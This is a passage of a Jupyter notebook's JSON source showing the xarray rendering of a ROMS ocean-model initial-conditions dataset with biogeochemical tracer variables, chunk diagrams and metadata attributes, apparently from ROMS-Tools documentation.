style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" 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type='checkbox' ><label for='attrs-2847d247-5ca3-49e4-9814-c8a0daa7d8e3' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ee9e6b8a-90c5-4560-a10d-07b2e6a84e63' class='xr-var-data-in' type='checkbox'><label for='data-ee9e6b8a-90c5-4560-a10d-07b2e6a84e63' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diazotroph chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape 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xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-9452f132-d93e-40d7-b3c0-d892bc8de68c' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-9452f132-d93e-40d7-b3c0-d892bc8de68c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e49c913f-6064-4c71-8e82-c0fd60a1f85a' class='xr-var-data-in' type='checkbox'><label for='data-e49c913f-6064-4c71-8e82-c0fd60a1f85a' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diazotroph carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", 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class='xr-var-name'><span>diazP</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-d6eda3d9-2c12-4c8d-916f-bfcdc6cf4e39' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-d6eda3d9-2c12-4c8d-916f-bfcdc6cf4e39' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-be4f2dee-4df2-4b8c-b9af-4a98d2f4fc90' class='xr-var-data-in' type='checkbox'><label for='data-be4f2dee-4df2-4b8c-b9af-4a98d2f4fc90' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diazotroph phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>diazotroph iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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for='data-0d9c2b5b-66b2-4bf7-9cc7-b359e6409915' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>small phytoplankton CaCO3</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >1</text>\n", " <text x=\"45.412617\" y=\"12.706308\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>zooC</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-126e875d-7796-4a50-a019-d501f7279db7' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-126e875d-7796-4a50-a019-d501f7279db7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ae3c07d9-8cb7-4e2f-b9aa-30c747649ac2' class='xr-var-data-in' type='checkbox'><label for='data-ae3c07d9-8cb7-4e2f-b9aa-30c747649ac2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>zooplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >1</text>\n", " <text x=\"45.412617\" y=\"12.706308\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(0,45.412617,12.706308)\">1</text>\n", "\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"95\" y1=\"0\" x2=\"164\" y2=\"69\" style=\"stroke-width:2\" />\n", " <line x1=\"95\" y1=\"120\" x2=\"164\" y2=\"189\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"95\" y1=\"0\" x2=\"95\" y2=\"120\" style=\"stroke-width:2\" />\n", " <line x1=\"164\" y1=\"69\" x2=\"164\" y2=\"189\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"95.0,0.0 164.20415224913495,69.20415224913495 164.20415224913495,189.20415224913495 95.0,120.0\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"95\" y1=\"0\" x2=\"215\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"164\" y1=\"69\" x2=\"284\" y2=\"69\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"95\" y1=\"0\" x2=\"164\" y2=\"69\" style=\"stroke-width:2\" />\n", " <line x1=\"215\" y1=\"0\" x2=\"284\" y2=\"69\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"95.0,0.0 215.0,0.0 284.20415224913495,69.20415224913495 164.20415224913495,69.20415224913495\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"164\" y1=\"69\" x2=\"284\" y2=\"69\" style=\"stroke-width:2\" />\n", " <line x1=\"164\" y1=\"189\" x2=\"284\" y2=\"189\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"164\" y1=\"69\" x2=\"164\" y2=\"189\" style=\"stroke-width:2\" />\n", " <line x1=\"284\" y1=\"69\" x2=\"284\" y2=\"189\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"164.20415224913495,69.20415224913495 284.20415224913495,69.20415224913495 284.20415224913495,189.20415224913495 164.20415224913495,189.20415224913495\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"224.204152\" y=\"209.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>w</span></div><div class='xr-var-dims'>(ocean_time, s_w, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>0.0 0.0 0.0 0.0 ... 0.0 0.0 0.0 0.0</div><input id='attrs-ea4e1814-9b33-4528-b1ba-a18b6e613bdf' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-ea4e1814-9b33-4528-b1ba-a18b6e613bdf' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-66ea050c-57e3-471e-8d03-a71e760f6a9a' class='xr-var-data-in' type='checkbox'><label for='data-66ea050c-57e3-471e-8d03-a71e760f6a9a' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>w-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><pre>array([[[[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", "...\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Cs_r</span></div><div class='xr-var-dims'>(s_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>-0.992 -0.9753 ... -9.874e-06</div><input id='attrs-431a7693-29e2-4431-8726-95d4e165c9cd' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-431a7693-29e2-4431-8726-95d4e165c9cd' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-640ef736-2439-43ee-8614-869e344e0a1f' class='xr-var-data-in' type='checkbox'><label for='data-640ef736-2439-43ee-8614-869e344e0a1f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>S-coordinate stretching curves at rho-points</dd><dt><span>units :</span></dt><dd>nondimensional</dd></dl></div><div class='xr-var-data'><pre>array([-9.91966903e-01, -9.75310326e-01, -9.57903922e-01, -9.39797223e-01,\n", " -9.21044052e-01, -9.01701748e-01, -8.81830335e-01, -8.61491978e-01,\n", " -8.40749860e-01, -8.19667757e-01, -7.98309207e-01, -7.76737094e-01,\n", " -7.55012929e-01, -7.33196437e-01, -7.11345196e-01, -6.89514160e-01,\n", " -6.67755604e-01, -6.46118581e-01, -6.24649167e-01, -6.03389859e-01,\n", " -5.82379997e-01, -5.61655402e-01, -5.41248500e-01, -5.21188438e-01,\n", " -5.01500964e-01, -4.82208848e-01, -4.63331670e-01, -4.44886118e-01,\n", " -4.26886171e-01, -4.09343123e-01, -3.92265856e-01, -3.75660986e-01,\n", " -3.59532982e-01, -3.43884379e-01, -3.28715861e-01, -3.14026594e-01,\n", " -2.99814165e-01, -2.86074877e-01, -2.72803813e-01, -2.59995013e-01,\n", " -2.47641608e-01, -2.35735863e-01, -2.24269405e-01, -2.13233232e-01,\n", " -2.02617854e-01, -1.92413345e-01, -1.82609484e-01, -1.73195779e-01,\n", " -1.64161548e-01, -1.55495971e-01, -1.47188202e-01, -1.39227331e-01,\n", " -1.31602496e-01, -1.24302894e-01, -1.17317833e-01, -1.10636741e-01,\n", " -1.04249209e-01, -9.81450155e-02, -9.23141390e-02, -8.67467746e-02,\n", " -8.14333707e-02, -7.63645992e-02, -7.15314075e-02, -6.69250041e-02,\n", " -6.25368580e-02, -5.83587363e-02, -5.43826595e-02, -5.06009422e-02,\n", " -4.70061824e-02, -4.35912535e-02, -4.03493047e-02, -3.72737721e-02,\n", " -3.43583524e-02, -3.15970331e-02, -2.89840512e-02, -2.65139174e-02,\n", " -2.41813995e-02, -2.19815224e-02, -1.99095625e-02, -1.79610383e-02,\n", " -1.61317140e-02, -1.44175906e-02, -1.28148990e-02, -1.13201011e-02,\n", " -9.92987957e-03, -8.64113960e-03, -7.45099736e-03, -6.35678275e-03,\n", " -5.35603240e-03, -4.44648601e-03, -3.62608512e-03, -2.89296708e-03,\n", " -2.24546436e-03, -1.68210152e-03, -1.20159215e-03, -8.02837836e-04,\n", " -4.84925782e-04, -2.47127580e-04, -8.88979121e-05, -9.87376825e-06],\n", " dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Cs_w</span></div><div class='xr-var-dims'>(s_w)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>-1.0 -0.9837 ... -3.95e-05 0.0</div><input id='attrs-05bb0676-ef72-4ace-b46e-98b7548a01f8' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-05bb0676-ef72-4ace-b46e-98b7548a01f8' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-56a23353-08e6-4ab8-a67c-2df4a2c48689' class='xr-var-data-in' type='checkbox'><label for='data-56a23353-08e6-4ab8-a67c-2df4a2c48689' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>S-coordinate stretching curves at w-points</dd><dt><span>units :</span></dt><dd>nondimensional</dd></dl></div><div class='xr-var-data'><pre>array([-1.0000000e+00, -9.8373526e-01, -9.6669787e-01, -9.4893485e-01,\n", " -9.3049794e-01, -9.1144282e-01, -8.9182830e-01, -8.7171561e-01,\n", " -8.5116738e-01, -8.3024728e-01, -8.0901909e-01, -7.8754598e-01,\n", " -7.6589024e-01, -7.4411261e-01, -7.2227168e-01, -7.0042384e-01,\n", " -6.7862266e-01, -6.5691894e-01, -6.3536018e-01, -6.1399072e-01,\n", " -5.9285146e-01, -5.7197994e-01, -5.5141032e-01, -5.3117341e-01,\n", " -5.1129663e-01, -4.9180421e-01, -4.7271729e-01, -4.5405400e-01,\n", " -4.3582967e-01, -4.1805691e-01, -4.0074578e-01, -3.8390404e-01,\n", " -3.6753717e-01, -3.5164866e-01, -3.3624011e-01, -3.2131144e-01,\n", " -3.0686098e-01, -2.9288566e-01, -2.7938116e-01, -2.6634204e-01,\n", " -2.5376186e-01, -2.4163328e-01, -2.2994828e-01, -2.1869811e-01,\n", " -2.0787355e-01, -1.9746487e-01, -1.8746199e-01, -1.7785452e-01,\n", " -1.6863190e-01, -1.5978335e-01, -1.5129805e-01, -1.4316508e-01,\n", " -1.3537359e-01, -1.2791272e-01, -1.2077171e-01, -1.1393995e-01,\n", " -1.0740692e-01, -1.0116233e-01, -9.5196031e-02, -8.9498125e-02,\n", " -8.4058918e-02, -7.8868978e-02, -7.3919117e-02, -6.9200397e-02,\n", " -6.4704172e-02, -6.0422052e-02, -5.6345928e-02, -5.2467976e-02,\n", " -4.8780646e-02, -4.5276675e-02, -4.1949075e-02, -3.8791135e-02,\n", " -3.5796430e-02, -3.2958798e-02, -3.0272348e-02, -2.7731461e-02,\n", " -2.5330773e-02, -2.3065183e-02, -2.0929839e-02, -1.8920140e-02,\n", " -1.7031731e-02, -1.5260493e-02, -1.3602542e-02, -1.2054225e-02,\n", " -1.0612117e-02, -9.2730094e-03, -8.0339154e-03, -6.8920576e-03,\n", " -5.8448706e-03, -4.8899921e-03, -4.0252637e-03, -3.2487246e-03,\n", " -2.5586106e-03, -1.9533504e-03, -1.4315632e-03, -9.9205703e-04,\n", " -6.3382636e-04, -3.5605079e-04, -1.5809362e-04, -3.9500741e-05,\n", " 0.0000000e+00], dtype=float32)</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-0d9e90dd-34bb-4270-b4a3-9fcf26f3e9fb' class='xr-section-summary-in' type='checkbox' ><label for='section-0d9e90dd-34bb-4270-b4a3-9fcf26f3e9fb' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>ocean_time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-2b86ddb7-87a5-4615-b0a3-4f2eaa9cce4d' class='xr-index-data-in' type='checkbox'/><label for='index-2b86ddb7-87a5-4615-b0a3-4f2eaa9cce4d' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([378820800.0], dtype=&#x27;float64&#x27;, name=&#x27;ocean_time&#x27;))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-913734af-de5f-4e00-8e0f-62f177f4cd47' class='xr-section-summary-in' type='checkbox' checked><label for='section-913734af-de5f-4e00-8e0f-62f177f4cd47' class='xr-section-summary' >Attributes: <span>(9)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS initial conditions file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>ini_time :</span></dt><dd>2012-01-02 00:00:00</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>source :</span></dt><dd>GLORYS</dd><dt><span>bgc_source :</span></dt><dd>CESM_REGRIDDED</dd><dt><span>theta_s :</span></dt><dd>5.0</dd><dt><span>theta_b :</span></dt><dd>2.0</dd><dt><span>hc :</span></dt><dd>300.0</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 154MB\n", "Dimensions: (ocean_time: 1, s_rho: 100, eta_rho: 102, xi_rho: 102,\n", " xi_u: 101, eta_v: 101, s_w: 101)\n", "Coordinates:\n", " abs_time (ocean_time) datetime64[ns] 8B 2012-01-02T12:00:00\n", " * ocean_time (ocean_time) float64 8B 3.788e+08\n", "Dimensions without coordinates: s_rho, eta_rho, xi_rho, xi_u, eta_v, s_w\n", "Data variables: (12/42)\n", " temp (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " salt (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " u (ocean_time, s_rho, eta_rho, xi_u) float32 4MB dask.array<chunksize=(1, 100, 102, 101), meta=np.ndarray>\n", " v (ocean_time, s_rho, eta_v, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 101, 102), meta=np.ndarray>\n", " zeta (ocean_time, eta_rho, xi_rho) float32 42kB -0.4969 ... -0.9301\n", " ubar (ocean_time, eta_rho, xi_u) float32 41kB dask.array<chunksize=(1, 102, 101), meta=np.ndarray>\n", " ... ...\n", " diazFe (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " spCaCO3 (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " zooC (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " w (ocean_time, s_w, eta_rho, xi_rho) float32 4MB 0.0 0.0 ... 0.0\n", " Cs_r (s_rho) float32 400B -0.992 -0.9753 ... -8.89e-05 -9.874e-06\n", " Cs_w (s_w) float32 404B -1.0 -0.9837 -0.9667 ... -3.95e-05 0.0\n", "Attributes:\n", " title: ROMS initial conditions file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " ini_time: 2012-01-02 00:00:00\n", " model_reference_date: 2000-01-01 00:00:00\n", " source: GLORYS\n", " bgc_source: CESM_REGRIDDED\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0" ] }, "execution_count": 23, "metadata": {}, "output_type": "execute_result" } ], "source": [ "initial_conditions_with_bgc.ds" ] }, { "cell_type": "code", "execution_count": 24, "id": "88a1c41c-5149-4abf-b158-1938d3d3a5e7", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 